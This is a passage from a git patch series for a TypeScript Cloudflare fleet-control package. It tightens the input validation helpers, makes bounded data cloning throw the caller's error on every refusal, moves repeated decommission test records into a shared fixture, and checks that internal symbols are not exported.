= record(candidate.mode); + const mode = plainRecord(candidate.mode); if (mode.kind === 'backend-switch') return malformed(); exactKeys(mode, ['kind', 'requestedSpecDigest', 'entryLifecyclePhase']); if ( @@ -289,7 +289,7 @@ function parsePurpose( purpose: DecommissionAttachmentPurpose; target: WorkerAttachmentScanTarget; }> { - const candidate = record(value); + const candidate = plainRecord(value); if (candidate.kind === 'application-r2-detach') { exactKeys(candidate, [ 'kind', @@ -302,7 +302,7 @@ function parsePurpose( ]); if ( lifecyclePhase !== 'application-resources-deleting' || - !safeInteger(candidate.resourceIndex) || + !safeIntegerAtLeast(candidate.resourceIndex) || !boundedString(candidate.name) || !boundedString(candidate.bucketName) || (candidate.jurisdiction !== 'default' && @@ -370,7 +370,7 @@ function parsePurpose( candidate.exportLocation !== source.databaseExportLocation || !sha256(candidate.exportSha256) || candidate.exportSha256 !== source.databaseExportSha256 || - !safeInteger(candidate.exportSize, 1) || + !safeIntegerAtLeast(candidate.exportSize, 1) || candidate.exportSize !== source.databaseExportSize ) { return malformed(); @@ -390,7 +390,7 @@ function parsePurpose( } function parseAttachment(value: unknown): DecommissionBlockedAttachment { - const candidate = record(value); + const candidate = plainRecord(value); if (candidate.plane === 'ordinary') { exactKeys(candidate, ['plane', 'scriptName']); if (!boundedString(candidate.scriptName)) return malformed(); @@ -411,7 +411,7 @@ function parseAttachment(value: unknown): DecommissionBlockedAttachment { }; } -function common( +function parseIntentCommon( candidate: Record, source: FleetRecord, ): DecommissionIntentCommon { @@ -419,8 +419,8 @@ function common( candidate.version !== 1 || typeof candidate.operationId !== 'string' || !UUID_V4.test(candidate.operationId) || - !safeInteger(candidate.revision) || - !safeInteger(candidate.generation) || + !safeIntegerAtLeast(candidate.revision) || + !safeIntegerAtLeast(candidate.generation) || !canonicalIso(candidate.updatedAt) ) { return malformed(); @@ -445,7 +445,7 @@ function assertCompleteRecord(source: FleetRecord): void { ) || !boundedString(source.databaseExportLocation) || !sha256(source.databaseExportSha256) || - !safeInteger(source.databaseExportSize, 1) || + !safeIntegerAtLeast(source.databaseExportSize, 1) || source.pendingSpecDigest !== undefined || source.pendingArtifactVersion !== undefined || source.pendingRelease !== undefined || @@ -475,7 +475,7 @@ export function decommissionAdvanceIntentFromUnknown( } catch { return malformed(); } - const candidate = record(plain); + const candidate = plainRecord(plain); if (candidate.state === 'complete') { exactKeys(candidate, [ 'version', @@ -491,8 +491,8 @@ export function decommissionAdvanceIntentFromUnknown( candidate.version !== 1 || typeof candidate.operationId !== 'string' || !UUID_V4.test(candidate.operationId) || - !safeInteger(candidate.revision) || - !safeInteger(candidate.generation) || + !safeIntegerAtLeast(candidate.revision) || + !safeIntegerAtLeast(candidate.generation) || !canonicalIso(candidate.updatedAt) || candidate.lifecyclePhase !== 'decommissioned' ) { @@ -534,7 +534,7 @@ export function decommissionAdvanceIntentFromUnknown( ...stateKeys, ]); if (source.phase !== 'decommission-advancing') return malformed(); - const parsedCommon = common(candidate, source); + const parsedCommon = parseIntentCommon(candidate, source); if (state === 'transitioning') { return { ...parsedCommon, state }; } @@ -565,11 +565,11 @@ export function decommissionAdvanceIntentFromUnknown( progress, }; } - const evidence = record(candidate.discoverEvidence); + const evidence = plainRecord(candidate.discoverEvidence); exactKeys(evidence, ['evidenceSha256', 'evidenceCount']); if ( !sha256(evidence.evidenceSha256) || - !safeInteger(evidence.evidenceCount, 2) || + !safeIntegerAtLeast(evidence.evidenceCount, 2) || evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND ) { return malformed(); @@ -610,7 +610,7 @@ export function parseDecommissionAdvanceToken( } let candidate: Record; try { - candidate = record(plain); + candidate = plainRecord(plain); exactKeys(candidate, [ 'version', 'tenantTag', @@ -627,7 +627,7 @@ export function parseDecommissionAdvanceToken( !boundedString(candidate.environment) || typeof candidate.operationId !== 'string' || !UUID_V4.test(candidate.operationId) || - !safeInteger(candidate.revision) + !safeIntegerAtLeast(candidate.revision) ) { throw new DecommissionAdvanceTokenError(); } diff --git a/packages/fleet-control/src/strict-plain-data.ts b/packages/fleet-control/src/strict-plain-data.ts index 22c538be..3e4996b5 100644 --- a/packages/fleet-control/src/strict-plain-data.ts +++ b/packages/fleet-control/src/strict-plain-data.ts @@ -163,8 +163,10 @@ export function cloneBoundedPlainData( value: unknown, options: BoundedPlainDataOptions, ): unknown { + let result: PlainDataResult = { valid: false }; + let serializedWithinBound = false; try { - if ( + const invalidOptions = !Number.isSafeInteger(options.maxDepth) || options.maxDepth < 0 || !Number.isSafeInteger(options.maxNodes) || @@ -172,21 +174,19 @@ export function cloneBoundedPlainData( !Number.isSafeInteger(options.maxScalarBytes) || options.maxScalarBytes < 0 || !Number.isSafeInteger(options.maxSerializedBytes) || - options.maxSerializedBytes < 0 - ) { - throw new Error('invalid bounded plain-data options'); + options.maxSerializedBytes < 0; + if (!invalidOptions) { + result = clonePlainData(value, options, new Set(), 0, { + nodes: 0, + scalarUtf8Bytes: 0, + }); + serializedWithinBound = + result.valid && + utf8Length(JSON.stringify(result.value)) <= options.maxSerializedBytes; } - const result = clonePlainData(value, options, new Set(), 0, { - nodes: 0, - scalarUtf8Bytes: 0, - }); - if (!result.valid) throw new Error('invalid bounded plain data'); - const serialized = JSON.stringify(result.value); - if (utf8Length(serialized) > options.maxSerializedBytes) { - throw new Error('bounded plain data exceeded serialized limit'); - } - return result.value; } catch { throw options.error(); } + if (!result.valid || !serializedWithinBound) throw options.error(); + return result.value; } diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index e8cccae0..d6ae2c75 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -37,6 +37,7 @@ import { composeLegacyBridgeArtifact, LEGACY_APPLICATION_MODULE_PLACEHOLDER, } from '../src/workers-for-platforms-backend-switch-provider.js'; +import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; function spec(authoredBy: 'platform' | 'external'): DeploymentSpec { return { @@ -647,35 +648,7 @@ describe('backend switch state machine', () => { const store = new MemorySwitchStore(); const provider = new FakeSwitchProvider(); const current = store.record; - store.record = { - ...current, - phase: 'decommission-advancing', - decommissionIntent: { - version: 1, - operationId: '00000000-0000-4000-8000-000000000001', - revision: 1, - generation: 0, - updatedAt: '2026-08-11T00:00:00.000Z', - identity: { - record: { - tenantTag: current.tenantTag, - environment: current.environment, - backend: current.backend, - scriptName: current.scriptName, - databaseId: current.databaseId, - databaseName: current.databaseName, - routeHostname: current.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: current.desiredSpecDigest, - entryLifecyclePhase: 'ready', - }, - }, - lifecyclePhase: 'ready', - state: 'transitioning', - }, - }; + store.record = decommissionAdvancingRecordFixture(current, 'ready'); await expect(item.run(store, provider), item.name).rejects.toThrow( `${item.name} cannot run during an active decommission`, diff --git a/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts new file mode 100644 index 00000000..bf934cf7 --- /dev/null +++ b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + DecommissionIntentCommon, + FleetRecord, + NormalDecommissionLifecyclePhase, +} from '../../src/types.js'; + +export interface NormalDecommissionIntentFixtureOptions { + readonly operationId?: string; + readonly revision?: number; + readonly generation?: number; + readonly updatedAt?: string; + readonly requestedSpecDigest?: string; + readonly entryLifecyclePhase?: NormalDecommissionLifecyclePhase; +} + +export function normalDecommissionIntentFixture( + record: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase, + options: NormalDecommissionIntentFixtureOptions = {}, +): DecommissionIntentCommon { + return { + version: 1, + operationId: options.operationId ?? '00000000-0000-4000-8000-000000000001', + revision: options.revision ?? 1, + generation: options.generation ?? 0, + updatedAt: options.updatedAt ?? '2026-08-11T00:00:00.000Z', + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: + options.requestedSpecDigest ?? record.desiredSpecDigest, + entryLifecyclePhase: options.entryLifecyclePhase ?? lifecyclePhase, + }, + }, + lifecyclePhase, + }; +} + +export function decommissionAdvancingRecordFixture( + record: FleetRecord, + lifecyclePhase: NormalDecommissionLifecyclePhase, + options: NormalDecommissionIntentFixtureOptions = {}, +): FleetRecord { + return { + ...record, + phase: 'decommission-advancing', + decommissionIntent: { + ...normalDecommissionIntentFixture(record, lifecyclePhase, options), + state: 'transitioning', + }, + }; +} diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 29f24aa5..0e87dd4a 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -19,6 +19,7 @@ import type { PlatformPlaneLease, PlatformPlaneResourceSet, } from '../../src/types.js'; +import { decommissionAdvancingRecordFixture } from './decommission-intent-fixture.js'; interface Env { DB: D1Database; @@ -110,35 +111,12 @@ function decommissionRecord(tenantTag: string, revision: number): FleetRecord { applicationResources: [], applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, }; - return { - ...base, - phase: 'decommission-advancing', - decommissionIntent: { - version: 1, - operationId: '123e4567-e89b-42d3-a456-426614174000', - revision, - generation: 0, - updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`, - identity: { - record: { - tenantTag: base.tenantTag, - environment: base.environment, - backend: base.backend, - scriptName: base.scriptName, - databaseId: base.databaseId, - databaseName: base.databaseName, - routeHostname: base.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: base.desiredSpecDigest, - entryLifecyclePhase: 'ready', - }, - }, - lifecyclePhase: 'ready', - state: 'transitioning', - }, - }; + return decommissionAdvancingRecordFixture(base, 'ready', { + operationId: '123e4567-e89b-42d3-a456-426614174000', + revision, + generation: 0, + updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`, + }); } function errorShape(error: unknown): unknown { diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index c9b8e85c..7c3430af 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -43,13 +43,13 @@ import type { FleetStateStore, LiveDeployment, MaintenanceHealth, - NormalDecommissionLifecyclePhase, PromotionGuard, ProvisioningBackend, ProvisioningBackendKind, SeedDeploymentIdentityOptions, } from '../src/types.js'; import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js'; +import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; const MAINTENANCE_PUBLIC_KEY = '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; @@ -121,41 +121,6 @@ function record( }; } -function advancingRecord( - current: FleetRecord, - lifecyclePhase: NormalDecommissionLifecyclePhase, -): FleetRecord { - return { - ...current, - phase: 'decommission-advancing', - decommissionIntent: { - version: 1, - operationId: '00000000-0000-4000-8000-000000000001', - revision: 1, - generation: 0, - updatedAt: '2026-08-11T00:00:00.000Z', - identity: { - record: { - tenantTag: current.tenantTag, - environment: current.environment, - backend: current.backend, - scriptName: current.scriptName, - databaseId: current.databaseId, - databaseName: current.databaseName, - routeHostname: current.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: current.desiredSpecDigest, - entryLifecyclePhase: lifecyclePhase, - }, - }, - lifecyclePhase, - state: 'transitioning', - }, - }; -} - function spec(item: FleetRecord, schemaVersion = 2): DeploymentSpec { return { tenantTag: item.tenantTag, @@ -2330,9 +2295,10 @@ describe('fleet operations', () => { now: 10_000, }); - expect(await audit(advancingRecord(legacy, phase)), phase).toEqual( - await audit(legacy), - ); + expect( + await audit(decommissionAdvancingRecordFixture(legacy, phase)), + phase, + ).toEqual(await audit(legacy)); } }); diff --git a/packages/fleet-control/test/platform-resources.test.ts b/packages/fleet-control/test/platform-resources.test.ts index 4cf6c3a8..9ad7e3dc 100644 --- a/packages/fleet-control/test/platform-resources.test.ts +++ b/packages/fleet-control/test/platform-resources.test.ts @@ -19,8 +19,8 @@ import type { ExternalPlatformTargetDescription, ExternalReleaseSnapshot, FleetRecord, - NormalDecommissionLifecyclePhase, } from '../src/types.js'; +import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; const spec: DeploymentSpec = { tenantTag: 'acme', @@ -80,41 +80,6 @@ const ROUTE_EXPECTATION_PHASES = [ ['route-published', false, 'credentials-revoked', ['target']], ] as const; -function advancingRecord( - record: FleetRecord, - lifecyclePhase: NormalDecommissionLifecyclePhase, -): FleetRecord { - return { - ...record, - phase: 'decommission-advancing', - decommissionIntent: { - version: 1, - operationId: '00000000-0000-4000-8000-000000000001', - revision: 1, - generation: 0, - updatedAt: '2026-08-11T00:00:00.000Z', - identity: { - record: { - tenantTag: record.tenantTag, - environment: record.environment, - backend: record.backend, - scriptName: record.scriptName, - databaseId: record.databaseId, - databaseName: record.databaseName, - routeHostname: record.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: record.desiredSpecDigest, - entryLifecyclePhase: lifecyclePhase, - }, - }, - lifecyclePhase, - state: 'transitioning', - }, - }; -} - describe('external platform resource identity', () => { it.each( ROUTE_EXPECTATION_PHASES, @@ -325,12 +290,14 @@ describe('external platform resource identity', () => { updatedAt: '2026-08-11T00:00:00.000Z', }; - expect(externalRouteExpectations(advancingRecord(ready, 'ready'))).toEqual([ - { release: activeRelease, target }, - ]); + expect( + externalRouteExpectations( + decommissionAdvancingRecordFixture(ready, 'ready'), + ), + ).toEqual([{ release: activeRelease, target }]); expect(() => externalRouteExpectations( - advancingRecord( + decommissionAdvancingRecordFixture( { ...ready, pendingRelease: activeRelease, @@ -344,7 +311,10 @@ describe('external platform resource identity', () => { ); expect(() => externalRouteExpectations( - advancingRecord({ ...ready, activeRelease: undefined }, 'ready'), + decommissionAdvancingRecordFixture( + { ...ready, activeRelease: undefined }, + 'ready', + ), ), ).toThrow('external ready route authority has no persisted release'); }); diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index b8600f72..9adf62e6 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -55,6 +55,7 @@ import type { import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js'; import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; +import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js'; import { memoryStore, routeApi } from './fixtures/plain-worker-port-probe.js'; import { type PlainWorkerFsControl, @@ -1063,6 +1064,26 @@ describe('fleet provisioning', () => { }); const digest = deploymentSpecDigest(deployment); const operationId = '00000000-0000-4000-8000-000000000001'; + const advancingRecord = (backend: FakeBackend) => + decommissionAdvancingRecordFixture( + { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + backend: backend.kind, + scriptName: deployment.scriptName, + databaseId: backend.databaseId, + databaseName: deployment.databaseName, + schemaVersion: deployment.schemaVersion, + artifactVersion: 'artifact-v3', + desiredSpecDigest: digest, + durableObjectBindings: [], + routeHostname: deployment.routeHostname, + phase: 'ready', + updatedAt: '2026-08-11T00:00:00.000Z', + }, + 'ready', + { operationId }, + ); const cases: readonly Readonly<{ name: string; run(input: { @@ -1130,46 +1151,7 @@ describe('fleet provisioning', () => { for (const item of cases) { const backend = new FakeBackend(); const store = new MemoryStore(); - const current: FleetRecord = { - tenantTag: deployment.tenantTag, - environment: deployment.environment, - backend: backend.kind, - scriptName: deployment.scriptName, - databaseId: backend.databaseId, - databaseName: deployment.databaseName, - schemaVersion: deployment.schemaVersion, - artifactVersion: 'artifact-v3', - desiredSpecDigest: digest, - durableObjectBindings: [], - routeHostname: deployment.routeHostname, - phase: 'decommission-advancing', - decommissionIntent: { - version: 1, - operationId, - revision: 1, - generation: 0, - updatedAt: '2026-08-11T00:00:00.000Z', - identity: { - record: { - tenantTag: deployment.tenantTag, - environment: deployment.environment, - backend: backend.kind, - scriptName: deployment.scriptName, - databaseId: backend.databaseId, - databaseName: deployment.databaseName, - routeHostname: deployment.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: digest, - entryLifecyclePhase: 'ready', - }, - }, - lifecyclePhase: 'ready', - state: 'transitioning', - }, - updatedAt: '2026-08-11T00:00:00.000Z', - }; + const current = advancingRecord(backend); store.record = current; await expect( @@ -1184,46 +1166,7 @@ describe('fleet provisioning', () => { } const raceBackend = new FakeBackend(); - const advancing: FleetRecord = { - tenantTag: deployment.tenantTag, - environment: deployment.environment, - backend: raceBackend.kind, - scriptName: deployment.scriptName, - databaseId: raceBackend.databaseId, - databaseName: deployment.databaseName, - schemaVersion: deployment.schemaVersion, - artifactVersion: 'artifact-v3', - desiredSpecDigest: digest, - durableObjectBindings: [], - routeHostname: deployment.routeHostname, - phase: 'decommission-advancing', - decommissionIntent: { - version: 1, - operationId, - revision: 1, - generation: 0, - updatedAt: '2026-08-11T00:00:00.000Z', - identity: { - record: { - tenantTag: deployment.tenantTag, - environment: deployment.environment, - backend: raceBackend.kind, - scriptName: deployment.scriptName, - databaseId: raceBackend.databaseId, - databaseName: deployment.databaseName, - routeHostname: deployment.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: digest, - entryLifecyclePhase: 'ready', - }, - }, - lifecyclePhase: 'ready', - state: 'transitioning', - }, - updatedAt: '2026-08-11T00:00:00.000Z', - }; + const advancing = advancingRecord(raceBackend); const { decommissionIntent: _decommissionIntent, ...ready } = advancing; const raceStore = new MemoryStore(); raceStore.record = advancing; diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index 84858a91..ab02a27f 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -15,6 +15,10 @@ import { type FleetStateDatabase, } from '../src/state-store.js'; import type { FleetRecord, PlatformPlaneResourceSet } from '../src/types.js'; +import { + type NormalDecommissionIntentFixtureOptions, + normalDecommissionIntentFixture, +} from './fixtures/decommission-intent-fixture.js'; const MAINTENANCE_PUBLIC_KEY = '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; @@ -459,34 +463,15 @@ function decommissionBase(): FleetRecord { }; } -function decommissionIntentCommon( - record: FleetRecord, - lifecyclePhase: import('../src/types.js').NormalDecommissionLifecyclePhase, +function decommissionFixtureOptions( revision: number, -) { +): NormalDecommissionIntentFixtureOptions { return { - version: 1 as const, operationId: DECOMMISSION_OPERATION_ID, revision, generation: 0, updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`, - identity: { - record: { - tenantTag: record.tenantTag, - environment: record.environment, - backend: record.backend, - scriptName: record.scriptName, - databaseId: record.databaseId, - databaseName: record.databaseName, - routeHostname: record.routeHostname, - }, - mode: { - kind: 'normal' as const, - requestedSpecDigest: record.desiredSpecDigest, - entryLifecyclePhase: 'ready' as const, - }, - }, - lifecyclePhase, + entryLifecyclePhase: 'ready', }; } @@ -497,7 +482,11 @@ function transitioningRecord(revision = 0): FleetRecord { phase: 'decommission-advancing', decommissionIntent: { state: 'transitioning', - ...decommissionIntentCommon(base, 'ready', revision), + ...normalDecommissionIntentFixture( + base, + 'ready', + decommissionFixtureOptions(revision), + ), }, }; } @@ -620,6 +609,44 @@ describe('D1FleetStateStore release state', () => { const db = new MemoryD1(); const store = new D1FleetStateStore(db, { accountId: 'account' }); const base = decommissionBase(); + const explicitFixture = normalDecommissionIntentFixture( + base, + 'database-deleting', + { + operationId: 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa', + revision: 7, + generation: 8, + updatedAt: '2026-08-29T12:34:56.789Z', + requestedSpecDigest: 'e'.repeat(64), + entryLifecyclePhase: 'rolling-back', + }, + ); + expect(JSON.stringify(explicitFixture)).toBe( + JSON.stringify({ + version: 1, + operationId: 'aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa', + revision: 7, + generation: 8, + updatedAt: '2026-08-29T12:34:56.789Z', + identity: { + record: { + tenantTag: base.tenantTag, + environment: base.environment, + backend: base.backend, + scriptName: base.scriptName, + databaseId: base.databaseId, + databaseName: base.databaseName, + routeHostname: base.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: 'e'.repeat(64), + entryLifecyclePhase: 'rolling-back', + }, + }, + lifecyclePhase: 'database-deleting', + }), + ); await store.withDeploymentLease('acme', 'production', (lease) => lease.put(base), ); @@ -647,23 +674,19 @@ describe('D1FleetStateStore release state', () => { pendingSpecDigest, pendingArtifactVersion: 'candidate-v1', }; - const migratingCommon = decommissionIntentCommon( + const migratingCommon = normalDecommissionIntentFixture( migratingBase, 'migrating', - 1, + { + ...decommissionFixtureOptions(1), + requestedSpecDigest: pendingSpecDigest, + entryLifecyclePhase: 'migrating', + }, ); const migratingRecord: FleetRecord = { ...migratingBase, decommissionIntent: { ...migratingCommon, - identity: { - ...migratingCommon.identity, - mode: { - kind: 'normal', - requestedSpecDigest: pendingSpecDigest, - entryLifecyclePhase: 'migrating', - }, - }, state: 'transitioning', }, }; @@ -671,18 +694,27 @@ describe('D1FleetStateStore release state', () => { pendingArtifactVersion: _pendingArtifactVersion, ...migratingWithoutArtifact } = migratingRecord; + const transitioning = transitioningRecord(); const records: FleetRecord[] = [ - transitioningRecord(), + transitioning, migratingRecord, migratingWithoutArtifact, active({ - ...decommissionIntentCommon(base, 'application-resources-deleted', 1), + ...normalDecommissionIntentFixture( + base, + 'application-resources-deleted', + decommissionFixtureOptions(1), + ), state: 'discover', purpose, progress, }), active({ - ...decommissionIntentCommon(base, 'application-resources-deleted', 2), + ...normalDecommissionIntentFixture( + base, + 'application-resources-deleted', + decommissionFixtureOptions(2), + ), state: 'verify', purpose, progress, @@ -692,14 +724,22 @@ describe('D1FleetStateStore release state', () => { }, }), active({ - ...decommissionIntentCommon(base, 'application-resources-deleted', 3), + ...normalDecommissionIntentFixture( + base, + 'application-resources-deleted', + decommissionFixtureOptions(3), + ), state: 'blocked', purpose, attachment: { plane: 'ordinary', scriptName: 'foreign-worker' }, }), { ...base, phase: 'decommissioned' }, (() => { - const common = decommissionIntentCommon(base, 'database-deleting', 4); + const common = normalDecommissionIntentFixture( + base, + 'database-deleting', + decommissionFixtureOptions(4), + ); return { ...base, phase: 'decommissioned', @@ -722,11 +762,30 @@ describe('D1FleetStateStore release state', () => { const roundTripped = await store.get('acme', 'production'); expect(roundTripped).toEqual(record); await expect(store.list()).resolves.toEqual([record]); - expect(db.row?.decommission_intent).toBe( + const persistedIntent = db.row?.decommission_intent; + expect(persistedIntent).toBe( roundTripped?.decommissionIntent ? JSON.stringify(roundTripped.decommissionIntent) : null, ); + if ( + record.decommissionIntent && + record !== migratingRecord && + record !== migratingWithoutArtifact + ) { + expect(record.decommissionIntent.identity.mode).toMatchObject({ + kind: 'normal', + entryLifecyclePhase: 'ready', + }); + } + if (record === transitioning) { + expect(JSON.stringify(record.decommissionIntent)).toMatch( + /^\{"state":"transitioning"/u, + ); + expect(persistedIntent).not.toBe( + JSON.stringify(record.decommissionIntent), + ); + } } const persisted = structuredClone(db.row); for (const pendingArtifactVersion of ['', 'pending', 42]) { @@ -1283,28 +1342,14 @@ describe('D1FleetStateStore release state', () => { ...record, phase: 'decommission-advancing', decommissionIntent: { - version: 1, - operationId: '12345678-1234-4abc-8def-1234567890ab', - revision: 0, - generation: 0, - updatedAt: '2026-08-29T12:00:00.000Z', - identity: { - record: { - tenantTag: record.tenantTag, - environment: record.environment, - backend: record.backend, - scriptName: record.scriptName, - databaseId: record.databaseId, - databaseName: record.databaseName, - routeHostname: record.routeHostname, - }, - mode: { - kind: 'normal', - requestedSpecDigest: record.migrationIntent.targetSpecDigest, - entryLifecyclePhase: 'migrating', - }, - }, - lifecyclePhase: 'migrating', + ...normalDecommissionIntentFixture(record, 'migrating', { + operationId: '12345678-1234-4abc-8def-1234567890ab', + revision: 0, + generation: 0, + updatedAt: '2026-08-29T12:00:00.000Z', + requestedSpecDigest: record.migrationIntent.targetSpecDigest, + entryLifecyclePhase: 'migrating', + }), state: 'transitioning', }, }; diff --git a/packages/fleet-control/test/strict-plain-data.test.ts b/packages/fleet-control/test/strict-plain-data.test.ts index 4a668554..43041d6a 100644 --- a/packages/fleet-control/test/strict-plain-data.test.ts +++ b/packages/fleet-control/test/strict-plain-data.test.ts @@ -135,34 +135,59 @@ describe('bounded plain data', () => { it('throws the exact error supplied by the caller for every refusal', () => { const refusal = new Error('fixed refusal'); - let captured: unknown; - try { - cloneBoundedPlainData( - Symbol('not-json'), - limits(() => refusal), - ); - } catch (error) { - captured = error; - } - expect(captured).toBe(refusal); + const assertFixedRefusal = (operation: (error: () => Error) => unknown) => { + const error = vi.fn(() => refusal); + let captured: unknown; + try { + operation(error); + } catch (failure) { + captured = failure; + } + expect(captured).toBe(refusal); + expect(error).toHaveBeenCalledOnce(); + }; - const trapped = new Proxy( - {}, - { - getPrototypeOf: () => { - throw new Error('hostile trap'); - }, - }, + assertFixedRefusal((error) => + cloneBoundedPlainData(null, { ...limits(error), maxDepth: -1 }), ); - captured = undefined; - try { + assertFixedRefusal((error) => + cloneBoundedPlainData(Symbol('not-json'), limits(error)), + ); + assertFixedRefusal((error) => cloneBoundedPlainData( - trapped, - limits(() => refusal), + { a: 0 }, + { ...limits(error), maxSerializedBytes: 6 }, + ), + ); + assertFixedRefusal((error) => + cloneBoundedPlainData( + new Proxy( + {}, + { + getPrototypeOf: () => { + throw new Error('hostile trap'); + }, + }, + ), + limits(error), + ), + ); + + const encode = vi + .spyOn(TextEncoder.prototype, 'encode') + .mockImplementation(() => { + throw new Error('hostile encoder'); + }); + try { + assertFixedRefusal((error) => + cloneBoundedPlainData('value', limits(error)), ); - } catch (error) { - captured = error; + } finally { + encode.mockRestore(); } - expect(captured).toBe(refusal); + + const successError = vi.fn(() => refusal); + expect(cloneBoundedPlainData(null, limits(successError))).toBeNull(); + expect(successError).not.toHaveBeenCalled(); }); }); From 00036279b2f7d10d2dac03ca5738dc9bc1db2bff Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:50:57 +0400 Subject: [PATCH 030/169] feat(fleet-control): add bounded attachment capability --- .../scripts/packed-consumer-test.mjs | 69 +++++ ...flare-api-plain-worker-provisioning-api.ts | 5 + .../fleet-control/src/cloudflare-client.ts | 87 ++++++ packages/fleet-control/src/index.ts | 2 + .../fleet-control/src/plain-worker-backend.ts | 64 +++- packages/fleet-control/src/types.ts | 70 +++++ .../src/workers-for-platforms-backend.ts | 74 ++++- .../wrangler-plain-worker-provisioning-api.ts | 9 + ...-api-plain-worker-provisioning-api.test.ts | 39 +++ .../test/plain-worker-backend.test.ts | 249 +++++++++++++++ .../test/worker-attachment-scan.test.ts | 287 ++++++++++++++++++ .../workers-for-platforms-backend.test.ts | 275 +++++++++++++++++ .../test/wrangler-loop-backend.test.ts | 31 ++ ...gler-plain-worker-provisioning-api.test.ts | 52 ++++ 14 files changed, 1289 insertions(+), 24 deletions(-) diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index ba316e81..996d6591 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -214,6 +214,8 @@ try { type DecommissionAttachmentProgress, type DecommissionAttachmentPurpose, type DecommissionAttachmentScanEvidence, + type DecommissionAttachmentScanInput, + type DecommissionAttachmentScanResult, type DecommissionBlockedAttachment, type DecommissionIntentCommon, type DecommissionOperationIdentity, @@ -246,6 +248,26 @@ try { type SeedDeploymentIdentityOptions, type WorkersForPlatformsApi, } from '@proofoftech/fleet-control'; +// @ts-expect-error R1's client friend is package-private, not a root API. +import { advanceCloudflareWorkerAttachmentScan } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 provider attachments stay behind decommission types. +import type { WorkerAttachment } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 scan targets stay package-private. +import type { WorkerAttachmentScanTarget } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 progress stays package-private. +import type { WorkerAttachmentScanProgress } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 scan inputs stay package-private. +import type { WorkerAttachmentScanInput } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 scan chunks stay package-private. +import type { WorkerAttachmentScanChunk } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 provider context stays package-private. +import type { CloudflareWorkerAttachmentScanContext } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 progress errors stay package-private. +import { CloudflareAttachmentScanProgressError } from '@proofoftech/fleet-control'; +// @ts-expect-error R1 drift errors stay package-private. +import { CloudflareAttachmentScanDriftError } from '@proofoftech/fleet-control'; +// @ts-expect-error the pure mapper is a deep package-private seam. +import { mapDecommissionAttachmentScanChunk } from '@proofoftech/fleet-control'; import type { FleetDispatchEnv } from '@proofoftech/fleet-control/workers/dispatch'; import { createEgressProxyFetch, @@ -270,6 +292,7 @@ declare const decommissionClassification: DecommissionAdvanceTokenClassification declare const decommissionProgress: DecommissionAttachmentProgress; declare const 